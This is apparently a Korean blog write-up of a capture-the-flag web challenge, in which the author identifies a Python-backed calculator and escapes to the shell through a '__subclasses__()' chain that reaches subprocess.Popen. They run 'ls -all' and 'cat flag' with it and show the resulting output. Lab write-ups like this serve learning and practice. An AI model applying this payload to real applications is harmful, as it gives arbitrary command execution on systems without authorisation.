[h4ckingga.me] Web Hacking - Calculator *구조 공부 SSTI 공부

http://web.h4ckingga.me:10000/

 

Simple Calculator

Calculator Result

web.h4ckingga.me

습관적으로 소스코드 먼저 확인하기

fake flag 보고 에라이 하고 다시 공격 시도

​

'a' 'a' 입력시 aa 출력 확인 > Python or Java

True + True 입력 시 2 출력 확인 > Python 확인

​

''.__class__.__mro__[1].__subclasses__()

해당 코드를 통해

subproccess.Popen 위치 찾기

​

''.__class__.__mro__[1].__subclasses__()[popen위치]('popen 명령어',shell=True,stdout=-1).communicate()

해당 명령어 사용

​

​

''.__class__.__mro__[1].__subclasses__()[213]('ls -all',shell=True,stdout=-1).communicate()

​

total 28\ndrwxr-sr-x 1 root app 4096 Aug 8 2021 .\

ndrwxr-xr-x 1 root root 4096 Aug 8 2021 ..\

n-rwxrw-rw- 1 root root 243 Aug 4 2021 Dockerfile\

n-rwxrw-rw- 1 root root 983 Aug 2 2021 app.py\

n-rwxrw-rw- 1 root root 32 Aug 4 2021 flag\

ndrwxrwxrwx 2 root root 4096 Aug 8 2021 templates\n

​

flag 확인 후 풀이 완료

''.__class__.__mro__[1].__subclasses__()[213]('cat flag',shell=True,stdout=-1).communicate()

​

​

https://www.igloo.co.kr/security-information/%EC%9B%B9-%ED%85%9C%ED%94%8C%EB%A6%BF-%EC%97%94%EC%A7%84-%EA%B8%B0%EB%B0%98%EC%9D%98-ssti-%EC%B7%A8%EC%95%BD%EC%A0%90-%EB%B6%84%EC%84%9D/

웹 템플릿 엔진 기반의 SSTI 취약점 분석

 

 

참고